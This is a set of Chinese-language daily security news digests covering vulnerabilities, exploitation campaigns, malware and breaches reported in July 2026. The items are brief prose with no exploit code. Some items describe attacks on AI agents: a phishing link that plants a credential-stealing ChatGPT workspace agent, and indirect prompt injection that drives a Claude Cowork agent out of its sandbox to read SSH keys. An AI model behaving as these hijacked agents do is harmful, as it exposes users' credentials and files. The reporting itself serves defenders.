1、美国30余供水系统遭协同攻击 https://www.plymouthmn.gov/Home/Components/News/News/8977/542 美国明尼苏达州近日发生针对关键基础设施的协同网络攻击事件，超过30个社区供水系统在7月26日至27日期间遭到未经授权的入侵。调查显示，攻击者主要针对供水系统的运营技术（OT）环境实施攻击，部分受影响单位出现系统异常，但目前尚无证据表明饮用水安全受到影响。事件发生后，美国联邦调查局（FBI）及相关机构已介入调查，并协助受影响单位开展应急处置。安全研究人员指出，此次攻击与近年来针对美国水务基础设施的一系列攻击活动存在相似特征，反映出关键基础设施持续面临来自高级攻击组织的网络 2、Ruflo MCP高危漏洞可致远程执行 https://github.com/ruvnet/ruflo 安全研究人员近日披露，开源AI代理编排平台 Ruflo 存在一项最高严重等级安全漏洞，攻击者无需身份认证即可利用受影响的Model Context Protocol（MCP）接口执行任意系统命令，进而完全控制目标服务器。研究人员指出，该漏洞源于MCP接口对用户输入验证不足，成功利用后可导致敏感数据泄露、恶意程序植入及横向移动等风险，对部署AI代理、自动化开发及运维环境的组织影响尤为显著。目前，项目维护团队已发布修复版本并建议用户尽快升级，同时限制MCP服务暴露范围、加强访问控制与日志监测，以降低遭受远程攻击的风险。 3、俄黑客利用OWA漏洞维持邮箱控制 https://www.proofpoint.com/us/blog/threat-insight/cleaning-out-inboxes-ta488-comes-outlook-another-half-click-exploit 安全研究人员近日披露，俄罗斯关联攻击组织TA488（又名 Laundry Bear、Void Blizzard） 正利用微软Outlook Web Access（OWA）跨站脚本漏洞CVE-2026-42897发起攻击，并部署名为OWAReaper的新型JavaScript浏览器后门。该恶意程序运行于OWA浏览器上下文，可在受害者访问恶意邮件后建立持久化访问， 4、Rapid7发布Check Point漏洞PoC https://www.rapid7.com/blog/post/ra-check-point-smartconsole-authentication-bypass-technical-analysis-cve-2026-16232/ 安全公司Rapid7近日公开发布针对Check Point Security Management身份认证绕过漏洞CVE-2026-16232的概念验证（PoC）代码。该漏洞已被确认遭攻击者在野利用，未经身份认证的攻击者可获取应用登录令牌，以管理员权限登录SmartConsole，对安全策略、配置及管理对象进行修改，导致整个防火墙管理平台失陷。研究人员指出，P 5、Cisco FMC零日漏洞遭在野利用 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-static-cred-BET3Cjh 思科（Cisco）近日确认，其Secure Firewall Management Center（FMC）存在一项最高危零日漏洞CVE-2026-20131，已被勒索软件组织Interlock在野利用。该漏洞源于不安全的Java对象反序列化，未经身份认证的攻击者可远程绕过认证，以root权限执行任意代码，完全控制受影响设备。调查显示，攻击活动早在今年1月底便已开始，攻击者在 6、Rails高危漏洞可泄露服务器文件 https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm 安全研究人员近日披露，Ruby on Rails框架存在一项严重安全漏洞CVE-2026-66066（CVSS 9.5），未经身份认证的攻击者可通过构造恶意图片上传请求，读取服务器任意文件及敏感配置信息。该漏洞影响启用Active Storage且使用libvips处理图片的Rails应用，可导致secret_key_base、Rails主密钥、数据库凭据、云存储密钥及API令牌等敏感信息泄露，并可能进一步引发远程代码执行或横向移动攻击。Rails官方 7、2.4万服务器BMC泄露密码哈希 https://lavahq.io/research/bmc-exposure-alert 近日，安全研究人员发现，超过2.4万台暴露在互联网中的服务器基板管理控制器（BMC）存在密码哈希泄露风险，攻击者可利用存在数十年的IPMI协议漏洞获取认证信息并进行离线破解。该问题源于CVE-2013-4786漏洞，影响采用IPMI 2.0协议的BMC设备，攻击者无需完成身份验证即可获取基于密码生成的认证哈希。研究人员扫描发现，大量受影响设备使用弱密码、默认密码或易预测凭据，攻击者可通过字典攻击快速恢复密码。一旦BMC被攻陷，攻击者可能获得服务器底层控制权限，执行远程控制、固件管理、电源操作等高危行为 8、vBulletin曝严重RCE漏洞 https://karmainsecurity.com/KIS-2026-13 近日，vBulletin论坛软件修复了一项严重的未授权远程代码执行（RCE）漏洞，该漏洞公开利用代码已被发布，攻击者无需身份认证即可在受影响服务器上执行任意PHP代码。研究人员指出，该漏洞存在于vBulletin模板渲染机制中，攻击者可通过构造恶意请求绕过安全限制，直接触发服务器端代码执行，从而完全控制受影响站点。由于公开PoC的出现，该漏洞面临被大规模扫描和攻击利用的风险。安全人员建议vBulletin用户立即升级至修复版本，并检查服务器日志、WebShell文件及异常账户活动，以确认是否已遭受入侵。 9、CubePilot遭DNS劫持攻击 https://www.bleepingcomputer.com/news/security/cubepilot-drone-software-dev-hit-by-dns-hijacking-to-intercept-traffic/ 近日，开源无人机软件及飞控硬件开发商CubePilot遭遇DNS劫持攻击，攻击者通过篡改其域名解析记录，将用户访问流量重定向至攻击者控制的服务器，从而实施流量拦截。此次事件导致CubePilot相关服务受到影响，攻击者可能利用劫持链路进行中间人攻击，窃取用户访问数据或篡改软件更新流量。安全人员指出，DNS作为互联网基础设施的重要组成部分，一旦遭到控制，可被用 10、Fastjson漏洞遭攻击者利用 https://threatbook.io/blog/fastjson-rce-1.2.83-active-exploitation-detected-detection-mitigation 近日，安全研究人员发现，攻击者正在利用Fastjson开源Java库中的高危远程代码执行漏洞（CVE-2026-16723）针对美国多行业企业发起攻击。该漏洞影响Fastjson 1.2.68至1.2.83版本，攻击者无需身份认证或用户交互，即可通过构造恶意JSON数据触发代码执行，进而控制目标服务器。研究人员表示，目前攻击活动主要集中在金融、医疗、零售、计算等领域，并已观察到针对美国企业的实际攻击行 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、Tengu僵尸网络借重启机制对抗清除 https://www.nozominetworks.com/blog/tengu-a-modernized-mirai-that-doesnt-want-to-leave 安全研究人员发现，一款名为Tengu的新型Mirai变种僵尸网络正在攻击Linux物联网设备，并利用硬件看门狗（Hardware Watchdog）机制增强持久化能力。当防御人员终止其主恶意进程时，Tengu会停止向看门狗发送保活信号，触发设备约30秒后自动重启，随后借助计划任务等持久化机制重新启动恶意程序，从而恢复对设备的控制。研究人员还发现，该僵尸网络主要通过Telnet弱口令暴力破解传播，并具备检测代码篡改、清除竞 2、Joyfill恶意npm包植入DEV#POPPER木马 https://socket.dev/blog/joyfill-npm-beta-releases-compromised 安全研究人员发现，Joyfill旗下两个npm测试版软件包遭供应链攻击，恶意代码被植入@joyfill/layouts和@joyfill/components的Beta版本。与传统依赖postinstall脚本的攻击不同，该恶意程序会在Node.js导入（import）软件包时立即执行，下载并部署与DEV#POPPER家族相关的远程控制木马（RAT）。该木马可收集主机信息、执行任意JavaScript及系统命令、上传文件，并利用区块链网络获取加密载荷和配置，以增强隐蔽性 3、Flying Eagle安卓木马源代码泄露 https://hunt.io/blog/flying-eagle-android-rat-170-servers-night-dragon 安全研究人员披露，安卓远程控制木马框架Flying Eagle的完整源代码近期在Telegram犯罪频道泄露，并通过基础设施分析发现全球至少170台服务器存在相关控制面板和特征。该框架支持快速生成伪装应用APK，可实施支付密码窃取、键盘记录、屏幕录制、摄像头控制、钓鱼页面覆盖及远程控制等功能，并滥用Android无障碍服务提升权限。研究人员指出，Flying Eagle最初被用于仿冒中国公安政务应用实施攻击，源代码泄露后已被多个犯罪团伙二次修改和传播， 4、TeamCity高危漏洞可致服务器失陷 https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/ JetBrains发布安全更新，修复TeamCity On-Premises持续集成平台中的高危远程代码执行漏洞CVE-2026-63077（CVSS评分9.8）。该漏洞影响所有TeamCity On-Premises版本，攻击者仅需具备HTTP(S)访问权限，无需身份认证即可绕过认证检查，并通过Agent轮询协议在服务器上执行任意操作系统命令，进而窃取配置、凭据及构建数据，甚至危及CI/CD供应链安全。JetBrains已在2025.11.7和2026.1.3版本中完成修 5、攻击者利用Arista VeloCloud零日漏洞 https://www.arista.com/en/support/advisories-notices/security-advisory/24364-security-advisory-0144 安全研究人员披露，攻击者正积极利用Arista VeloCloud Orchestrator（VCO）本地部署版本中的高危命令注入漏洞CVE-2026-16812（CVSS 10.0）发起攻击。该漏洞允许未经身份认证的远程攻击者访问原本仅供内部使用的高权限功能，并在VCO服务器上执行任意操作系统命令，进而控制编排平台及其管理的SD-WAN边缘设备，危及配置、凭据和网络流量安全。Arista已发布 6、vBulletin严重漏洞允许未认证攻击者远程执行PHP代码 https://cybersecuritynews.com/vbulletin-flaw-execute-php-code/ vBulletin修复CVE-2026-61511关键RCE漏洞，未经身份验证者可利用ajax/render/pagenav执行任意PHP代码，影响6.2.1及更早版本，已发布6.2.2修复，建议立即升级。 7、n8n 沙箱逃逸漏洞允许工作流编辑器执行系统命令 https://thehackernews.com/2026/07/n8n-sandbox-escape-lets-workflow.html n8n高危沙箱逃逸漏洞（GHSA-gv7g-jm28-cr3m，CVSS 8.7）允许认证编辑器通过箭头函数与Reflect.get()执行OS命令。影响 8、研究人员披露GitLab严重RCE漏洞链，官方敦促用户尽快修补 https://securityaffairs.com/196062/hacking/gitlab-users-urged-to-patch-after-research-reveals-critical-rce-chain.html Oj解析器两个内存漏洞组合成RCE链，影响GitLab 15.2.0至19.0.1。已验证用户通过notebook diff触发，无需管理员权限。GitLab已修复但未标记安全补丁，建议升级至18.10.8、18.11.5或19.0.2。 9、安永数据泄露事件被 ShinyHunters 黑客组织认领 https://cybersecuritynews.com/ey-data-breach-claim-shinyhunters/ ShinyHunters声称通过供应链攻击窃取安永员工凭据及客户敏感文件，威胁7月31日前谈判否则公布数据。安永已通报多州至少1366名受影响者。 10、Claude Mythos 自主发现 HAWK 与 AES 漏洞 https://www.freebuf.com/articles/ai-security/493036.html Anthropic 发布了由 Claude Mythos Preview 以高度自主方式完成的两项密码学研究成果：一项是对 HAWK（目前正处于 NIST 审查的后量子数字签名方案）的攻击改进，另一项是将对缩减轮数 AES 的攻击速度提升了 200 到 800 倍。这两项成果均未破坏任何现有生产系统。但它们都表明，前沿 AI 如今已能进行原创性密码学研究，其水平达到了人类专家历经两年审查都未能企及的高度。 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、VMware曝9.8分认证绕过漏洞，Broadcom发布紧急补丁 http://starmap.dbappsecurity.com.cn/info/15753 Broadcom于7月30日发布VMware多个关键漏洞补丁，其中最严重的是vCenter Server认证绕过漏洞（CVE-2026-59309），CVSS评分高达9.8。攻击者可通过网络发送恶意请求绕过认证检查，获得对虚拟化环境的未授权访问。此外，CVE-2026-59310为Syslog服务器目录遍历漏洞，可读取或写入未授权文件进而执行任意代码。受影响产品涵盖VMware ESX、vCenter、Workstation、Fusion等多个产品线。目前尚无变通方案，补丁是唯一防御策略。 2、NGINX曝9.2分堆溢出漏洞，PoC已公开 http://starmap.dbappsecurity.com.cn/info/15732 7月28日披露的NGINX堆溢出漏洞（CVE-2026-42533）CVSS评分高达9.2，允许未经身份验证的攻击者通过精心构造的请求破坏工作进程内存。该漏洞自带ASLR绕过机制，极大提升了远程代码执行的可能性。漏洞在数据平面（TLS终止前）即可被激活，意味着攻击者可直接从互联网发起攻击。F5已于7月15日发布补丁，但公开的概念验证代码已出现。受影响版本包括NGINX Open Source 1.30.0至1.30.3及主线版1.31.2。 3、江森自控C-CURE 9000门禁系统曝高危漏洞 http://starmap.dbappsecurity.com.cn/info/15747 CISA于7月23日发布工业控制系统安全公告，披露江森自控C-CURE 9000门禁控制系统存在三项严重漏洞。其中CVE-2026-21653（SSRF漏洞）CVSS评分达9.6，CVE-2026-21655允许攻击者实现远程代码执行。攻击者可利用这些漏洞控制门禁和报警设备，将软件安全问题直接转化为物理安全风险。江森自控已发布补丁，建议用户立即升级至3.20或更高版本。 4、可口可乐Fairlife遭勒索攻击：被窃取1TB数据，生产停摆 https://www.inc.com/amaya-nichole/hackers-behind-coca-cola-fairlife-attack-just-revealed-themselves-new-threat/91381604 勒索软件团伙Anubis宣称对Fairlife（可口可乐乳制品部门）的攻击负责，称其锁定了公司服务器并窃取约1TB机密数据。攻击于7月17日曝光，导致Fairlife美国生产业务被迫暂停。Anubis采用双重勒索模式——加密系统索要解密赎金后再威胁泄露数据。可口可乐本周宣布大部分生产已恢复，但未披露是否支付赎金。 5、苹果发布重大安全更新，修复各大系统内逾两百个高危漏洞 https://www.securityweek.com/apple-patches-87-vulnerabilities-in-ios-155-in-macos-tahoe/ 苹果公司正式推送了针对其全线产品操作系统的重大安全补丁。在此次更新中，苹果共计修复了iOS系统中的87个安全漏洞，以及macOS Tahoe桌面系统中的155个漏洞，各大安全机构建议用户尽快安装系统更新。 6、微软推出首个专属网络安全AI大模型MAI-Cyber-1-Flash https://www.securityweek.com/microsoft-unveils-mai-cyber-1-flash-its-first-cybersecurity-ai-model/ 微软正式发布了其首款专为网络安全领域打造的人工智能大语言模型MAI-Cyber-1-Flash。据微软官方声明，该模型在CyberGym安全防御基准测试中的表现，已经超越了Anthropic的Mythos模型和OpenAI未发布的GPT-5.6 Sol。 7、软件供应链攻击矛头转向AI代码辅助工具 https://expertinsights.com/news/supply-chain-attackers-shift-to-ide-tasks 安全情报机构Intel 471发布的最新安全审查报告指出，由于传统代码包注册表的访问控制和审查愈发严格，软件供应链攻击者正迅速调整策略，开始针对Cursor和Claude Desktop等主流AI编程助手的配置文件、运行导入以及构建过程进行深度探测和利用。 8、BlueDash行动借假Teams更新植入双重远控 https://zerobec.com/blog/operation-bluedash-multi-rmm-workplace-phishing 安全研究人员披露，一项代号为Operation BlueDash的攻击活动正利用伪造的Microsoft Teams更新页面实施钓鱼攻击。攻击者通过发送伪装成共享文档通知的邮件，诱导受害者下载并安装假冒Teams更新程序，随后在受害主机部署Level RMM和ScreenConnect两款合法远程管理工具，实现双重远程控制能力。为增强隐蔽性，攻击者利用合法RMM软件规避安全检测，并持续维持对受害系统的访问权限。研究人员指出，该行动主要针对企业用户， 9、BlueNoroff假Zoom工具锁定加密货币目标 https://www.jumpsec.com/guides/inside-a-dprk-bluenoroff-clickfix-kit/ 安全研究人员披露，朝鲜关联攻击组织BlueNoroff开发了一套持续迭代的Zoom和Microsoft Teams仿冒钓鱼工具包，通过拼写相似域名、假冒视频会议页面及社会工程学手段，针对加密货币行业发起定向攻击。该工具包会在投递恶意软件前，主动探测受害者浏览器中的MetaMask等加密货币钱包扩展，并根据钱包资产和目标价值选择是否继续实施攻击。对于高价值目标，攻击者将投递Windows或macOS恶意程序，实现凭据窃取和远程控制。研究人员指出，该工具包已 10、GitLab RCE漏洞PoC公开发布 https://depthfirst.com/research/going-depthfirst-achieving-gitlab-rce-via-two-ruby-memory-corruption-vulnerabilities 安全研究人员公开发布了GitLab远程代码执行漏洞的PoC利用代码，可使已认证用户在未修复的GitLab自建实例上以git用户权限执行任意系统命令。该漏洞影响多个GitLab CE/EE版本，攻击者仅需具备向项目提交代码的权限，即可通过构造恶意Jupyter Notebook文件并利用Notebook差异渲染流程中的Oj JSON解析器内存损坏漏洞，实现远程代码 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、研究人员开发出以攻为守的新型网络攻击工具“NosyNeighbor” https://news.wsu.edu/press-release/2026/07/28/computer-scientists-design-nosyneighbor-a-cyberattack-to-prevent-cyberattacks/ 华盛顿州立大学等机构的计算机科学家设计了一种名为“NosyNeighbor”的新型攻击工具。该工具通过潜伏在时间与安全关键计算系统的边缘并推断内部操作，来测试并预防针对飞机导航、医疗设备（如起搏器）及汽车防抱死制动系统等设备的破坏性网络攻击。 2、AI技术推动2026年发现的软件安全漏洞数量翻倍 https://www.insurancejournal.com/news/national/2026/07/28/879227.htm 随着人工智能系统漏洞挖掘能力的提升，2026年至今记录在案的软件安全漏洞数量已达45,207个，接近2025年全年的总和。尽管漏洞发现数量激增，但由于科技巨头（如微软、谷歌等）利用内部AI工具加快了安全修复速度，实际被攻击者利用的漏洞并未成比例上升。 3、Arista VeloCloud Orchestrator高危命令注入漏洞遭利用 https://thehackernews.com/2026/07/attackers-exploit-arista-velocloud.html Arista VeloCloud Orchestrator面临一个CVSS评分高达10.0的严重命令注入漏洞（CVE-2026-16812），攻击者可借此在本地服务器上执行任意代码。目前该漏洞已遭到野外活跃利用，美国网络安全和基础设施安全局（CISA）已将其列入已知被利用漏洞（KEV）目录，并要求相关机构限期修补。 4、ChatGPT遭遇全球大范围网络宕机中断 https://www.mediapost.com/publications/article/416820/chatgpt-outage-affects-users-in-us-europe-and-o.html 7月26日，OpenAI旗下的ChatGPT以及Codex编程平台遭遇大规模网络宕机，导致包括美国和欧洲在内的全球大批用户无法正常访问服务。OpenAI官方在服务状态监测平台上确认了此次意外中断，并启动了紧急调查与修复流程。 5、针对Windows AD CS的“Certighost”漏洞利用PoC代码公开 https://www.scworld.com/brief/proof-of-concept-exploit-released-for-certighost-windows-ad-cs-vulnerability 网络安全研究人员近日公布了针对Windows Active Directory证书服务（AD CS）严重漏洞（CVE-2026-54121，被称为Certighost）的概念验证（PoC）利用代码。虽然微软已在7月安全更新中修复此漏洞，但在未打补丁的系统中，验证攻击者可冒充域控制器，从而窃取活动目录的最高管理权限。 6、 Fastjson 1.x高危远程代码执行漏洞已遭在野利用 https://www.securityweek.com/unpatched-fastjson-vulnerability-exploited-in-attacks/ 安全研究人员确认，Fastjson 1.x 中的高危远程代码执行漏洞 CVE-2026-16723 已被攻击者用于真实攻击。该漏洞影响 1.2.68至1.2.83 版本，在常见的 Spring Boot 可执行 Fat JAR 部署模式下，攻击者可能无需身份认证即可触发漏洞。 7、印度国有银行Bank of Baroda大量客户及内部数据被泄露 https://www.reuters.com/business/media-telecom/customer-data-indias-bank-baroda-leaked-online-source-researcher-say-2026-07-27 印度国有银行 Bank of Baroda 确认，一名员工的电子邮件账户遭到入侵，导致大量客户信息和内部文件被攻击者获取并在暗网上泄露。泄露数据据称超过 700GB，可能涉及客户身份资料、贷款记录、审计文件及内部文档。该银行表示核心银行系统并未遭到入侵，目前正在进行取证调查，并已向保险机构提出网络保险索赔。 8、MedusaHVNC 利用隐藏Windows桌面劫持浏览器会话 https://www.blackfog.com/medusahvnc-a-hidden-desktop/ 研究人员发现名为 MedusaHVNC 的新型远程访问木马正在以恶意软件即服务模式出售。该恶意软件利用 Windows 的隐藏桌面功能，在用户看不到的桌面中启动 Chrome、Edge 或 Firefox。由于浏览器运行在受害者自己的计算机上，攻击者可能直接使用已有的 Cookie、登录状态和浏览器配置访问账户。其感染链包含 JScript、wscript.exe、多阶段载荷释放以及硬编码命令控制服务器。 9、GitHub和PyPI推出新规则加强软件供应链安全 https://www.securityweek.com/new-github-pypi-policies-boost-supply-chain-security/ GitHub 和 Python Package Index 分别推出新的软件供应链安全措施。GitHub 为 Dependabot 增加了默认冷却期，可在新依赖版本发布后等待至少三天再创建更新请求，为维护者和安全扫描器留出识别恶意版本的时间。PyPI 则限制向发布超过14天的旧版本继续上传文件，以降低攻击者篡改稳定历史版本的风险。 10、 NVIDIA联合微软等企业成立开放AI安全联盟 https://blogs.nvidia.com/blog/open-secure-ai-alliance/ NVIDIA 联合微软、IBM、Cisco、Cloudflare、CrowdStrike、Red Hat、Hugging Face、Linux Foundation 等机构成立 Open Secure AI Alliance。该联盟计划开发并共享用于AI模型、智能体及基础设施测试、审计、漏洞披露和安全防护的开放工具。联盟认为，安全团队需要能够自行检查、部署和调整AI防御技术，而不能完全依赖少数封闭模型服务。 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、ChatGPT现“AgentForger”漏洞，钓鱼链接可伪造企业内部AI智能体 https://thehackernews.com/2026/07/chatgpt-agentforger-flaw-could-deploy.html Zenity Labs 研究人员披露了 OpenAI ChatGPT Workspace Agents 中代号为“AgentForger”的严重缺陷。攻击者仅需诱导受害者点击单个钓鱼链接，即可在目标企业组织内隐蔽构建并部署完全受控的恶意 AI Agent。该恶意 Agent 将继承受害者权限，自动收集环境凭据、窃取文件，甚至伪造员工身份发起内部二次钓鱼。OpenAI 接报后已紧急移除相关 URL 参数并修复该漏洞。 2、医疗巨头雅培遭语音钓鱼攻击，ShinyHunters声称窃取数据 https://cybernews.com/news/abbott-laboratories-breach-shinyhunters/ 全球医疗与诊断巨头雅培（Abbott Laboratories）确认正在调查两起网络安全事件。勒索团伙 ShinyHunters 声称已侵入其系统并窃取内部敏感数据。调查显示，攻击者通过语音钓鱼（Vishing）手段骗取员工凭据，攻破了其 Microsoft Entra 单点登录账号，进而侵入其癌症诊断业务板块的遗留系统。雅培表示事件未影响制造、产品供应或患者服务。 3、AI音乐平台 Suno 5500万用户数据遭流出 https://www.enterprisetimes.co.uk/2026/07/27/security-and-ai-news-from-the-week-beginning-20-july-2026/ 知名 AI 音乐生成平台 Suno 的大量用户收到安全凭据检查服务 Have I Been Pwned 的提醒。一份包含 5500 万 Suno 注册用户的泄漏名单正在地下论坛传播，内容涵盖用户真实姓名、物理地址以及部分付款卡明细。安全机构已紧急敦促所有 Suno 用户更改密码并排查账户安全。 4、Qualys 揭露 Ubuntu 多个系统版本本地提权高危漏洞 https://www.enterprisetimes.co.uk/2026/07/27/security-and-ai-news-from-the-week-beginning-20-july-2026/ Qualys 威胁研究小组（TRU）发布警告，在 Ubuntu Desktop 24.04、25.10 及 26.04 的默认安装组件 snap-confine 中发现了一个本地权限提升漏洞（CVE-2026-8933）。攻击者无需特殊特权，即可利用该漏洞在未授权的本地环境中直接取得完整的系统 root 最高控制权限，官方建议系统管理员尽快更新相关软件包。 5、SonicWall发布2026制造业安全报告：OT/IT融合致老旧漏洞攻击激增 https://www.prnewswire.com/news-releases/sonicwall-research-finds-manufacturing-cybersecurity-at-a-breaking-point-as-factory-floors-and-corporate-networks-collide-302831538.html SonicWall 发布最新《2026 年制造业网络保护报告》，指出随着工厂物理生产线与企业 IT 网络的连接增多，制造业虽然整体无差别攻击量有所下降，但精准靶向攻击剧增。报告重点提示，早在 2021 年披露的 Hikvision 摄像机漏洞 6、CDW《2026 年网络安全报告》:AI成双刃剑，49% 企业部署AI威胁防御 https://www.cdw.com/content/cdw/en/newsroom/articles/corporatenews/2026/07/27/cdw-releases-2026-cybersecurity-report.html CDW 正式发布基于 950 多位 IT 及安全高管调研发表的《2026 年网络安全报告》。报告指出，AI 技术已全面重塑攻防态势，49% 的受访企业已将 AI 用于威胁检测，47% 用于威胁情报分析。然而，AI 助长的高级钓鱼攻击和日益复杂的云环境也使得企业风险量化难度加剧，45% 的领袖正重点推动针对 AI 安全使用规则的员工培训。 7、Clop利用Windchill漏洞窃取企业数据 https://ransom-isac.org/blog/clop-windchill-flexplm-exploitation/ 安全研究人员发现，Clop（Cl0p）勒索软件组织正针对互联网暴露的PTC Windchill和FlexPLM系统发起新一轮数据窃取攻击。攻击者利用高危漏洞CVE-2026-12569实施未经身份认证的远程代码执行，在受害服务器部署JSP WebShell，随后窃取产品设计、工程文档等敏感数据，并采用“仅窃密、不加密”的双重勒索模式向受害企业实施勒索。Ransom-ISAC等机构已确认该漏洞遭到活跃利用，PTC已发布安全补丁，建议相关组织立即完成升级，限制Win 8、欧洲刑警组织联合行动清除4340个极端内容链接 https://www.europol.europa.eu/media-press/newsroom/news/europol-led-action-against-nihilistic-violent-extremist-network-com Europol联合西班牙反恐与有组织犯罪情报中心（CITCO）及欧洲9国执法机构开展代号“Referral Action Days”的专项行动，针对极端网络组织“The Com”开展内容清除行动，共标记4340个涉嫌违法的URL并要求平台下架。相关内容涉及宣扬自残、自杀、未成年人性虐待、动物虐待、暴力袭击，以及传播“人肉搜索（Doxing）”“虚假 9、黑客劫持酒店Wi-Fi窃取Microsoft 365账户 https://www.bleepingcomputer.com/news/security/hackers-hijack-hotel-wi-fi-dns-to-steal-microsoft-365-accounts/ 安全研究人员发现，自2026年6月起，攻击者通过入侵酒店和会议中心的Wi-Fi网关设备，篡改DNS配置，将企业员工访问Microsoft 365的请求重定向至伪造登录页面，从而窃取账号凭据。部分攻击还滥用Microsoft设备代码（Device Code）认证流程获取访问令牌，可绕过多因素认证（MFA），受影响行业涵盖金融、医疗、能源、法律及零售等多个领域。研究人员指出，攻 10、澳能源巨头Origin确认客户数据泄露 https://www.originenergy.com.au/about/investors-media/origin-investigating-potential-security-incident/ 澳大利亚能源供应商Origin Energy确认发生数据泄露事件，未经授权的攻击者获取了部分客户个人信息。泄露数据包括姓名、出生日期、住址、电话号码、电子邮件地址、Origin账户信息，以及部分银行账户和支付卡信息，但不包含完整银行卡号、CVV、安全码或账户密码。攻击者声称已窃取约200万名客户的数据，并以此实施勒索。Origin已启动事件响应，联合网络安全专家及澳大利亚相关监管机构展开 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、Upbound数据泄露引发千万欺诈损失 https://www.bleepingcomputer.com/news/security/upbound-says-hack-caused-13-million-in-fraudulent-acima-leases/ 美国金融服务公司Upbound披露，攻击者未经授权获取部分非敏感客户信息及相关文件，并利用这些数据在旗下Acima先租后买业务中创建欺诈租赁协议。Acima向合作零售商支付商品款项后，欺诈者取走商品但未履行后续付款义务，导致公司第二季度损失约1300万美元。Upbound已在外部安全专家协助下加强身份验证、欺诈检测和安全监控，并向联邦执法部门报告事件。目前尚无勒索或数据勒索 2、Check Point修复SmartConsole零日漏洞 https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-check-point-smartconsole-authentication-bypass-cve-2026-16232/ Check Point发布安全更新，修复了其SmartConsole图形管理控制台中一个已遭实际利用的零日漏洞（CVE-2026-16232）。该漏洞属于身份认证绕过漏洞，攻击者在满足管理服务器可被互联网访问且未限制可信客户端等条件下，可无需认证获取应用登录令牌，并以管理员权限登录S 3、Linux曝存在9年的RefluXFS提权漏洞 https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt 安全研究人员披露了一项名为RefluXFS的Linux内核本地权限提升漏洞（CVE-2026-64600）。该漏洞源于XFS文件系统Copy-on-Write（CoW）分配路径中的竞争条件，已存在约9年，攻击者可利用该缺陷覆盖受保护文件，最终获取Root权限。漏洞影响启用了Reflink功能的XFS文件系统（主流企业级Linux发行版默认启用）、Linux Kernel 4.11及以上版本。研究人员指出，由于漏洞发生在文件系统分配层，SELinux、Kernel Lockdown 4、韩国外交系统泄露外交人员数据 https://www.mofa.go.kr/www/brd/m_4075/view.do?seq=369430 韩国外交部披露，国家外交学院在线教育系统因服务器零日漏洞遭黑客入侵，攻击者在2025年4月至2026年2月期间持续潜伏约10个月，导致外交部现任及离任人员、驻外外交官等约6000人的个人信息遭泄露。泄露数据包括用户名、姓名、电子邮箱、加密密码、所属部门及职务信息，居民身份证号、住址及电话号码等敏感信息未受影响。事件由韩国国家情报院发现后，相关系统已下线并完成安全加固，韩国外交部提醒受影响人员警惕钓鱼邮件及其他社会工程学攻击，并持续开展事件调查及溯源分析。 5、Claude Cowork漏洞可致主机逃逸 https://www.accomplish.ai/blog/sharedroot-escaping-claude-cowork-sandbox/ 安全研究人员披露，Anthropic旗下AI代理工具Claude Cowork存在一项名为“SharedRoot”的沙箱逃逸漏洞，攻击者可通过间接提示注入（Indirect Prompt Injection）诱导AI代理突破Linux虚拟机隔离，访问宿主机Mac上的文件及敏感数据。漏洞利用后，AI代理可读取SSH密钥、云服务凭据、浏览器数据等信息，并进一步执行未经授权的操作。研究人员指出，该问题影响约50万运行本地会话的macOS用户。Anthr 6、Kimi K3发现Redis多个零日漏洞 https://thehackernews.com/2026/07/kimi-k3-agents-found-redis-zero-days.html 安全研究人员披露，Moonshot AI的Kimi K3多智能体系统在授权安全测试中发现了Redis多个此前未知的安全漏洞，并自动生成了可实现远程代码执行（RCE）的概念验证（PoC）利用代码。相关漏洞涉及Redis Streams组件中的双重释放（Double-Free）缺陷以及RedisBloom模块TDigest加载器中的堆溢出问题，影响Redis 6.2.22、7.4.9、8.6.4和8.8.0等多个版本。Redis官方已于7月23日 7、Windmill漏洞遭利用窃取服务器文件 https://github.com/windmill-labs/windmill 安全研究人员披露，开源开发平台Windmill存在高危路径遍历漏洞（CVE-2026-29059），目前已被攻击者利用。该漏洞位于get_log_file接口，由于文件名参数未经过滤，攻击者无需身份认证即可通过目录遍历读取服务器任意文件，包括配置文件、API密钥、数据库凭据及其他敏感信息。VulnCheck监测发现，全球约24个国家仍有约170套易受攻击的Windmill实例暴露在互联网。Windmill已于今年3月发布安全更新修复该漏洞，建议用户尽快升级至最新版本，并限制管理接口公网访问，检查服务器日志及敏 8、Ubuntu Snap组件曝本地提权漏洞 https://snapcraft.io/docs/explanation/security/classic-confinement/ 安全研究人员披露，Ubuntu Snap生态中的snap-confine组件存在高危本地权限提升漏洞（CVE-2026-8933）。该漏洞由沙箱初始化过程中的竞争条件引发，本地低权限用户可结合FUSE挂载及符号链接竞争，向系统目录植入恶意udev规则，最终以Root权限执行任意代码并完全控制主机。漏洞影响默认安装的Ubuntu Desktop 24.04、25.10和26.04系统。Canonical已发布安全更新修复该问题，建议用户尽快升级最新snapd版 9、黑客利用Hermes AI代理自动化攻击 https://hunt.io/blog/thailand-ministry-finance-targeted-with-hermes-ai-agent 安全研究人员披露，一名攻击者在针对泰国财政部的入侵行动中使用开源Hermes 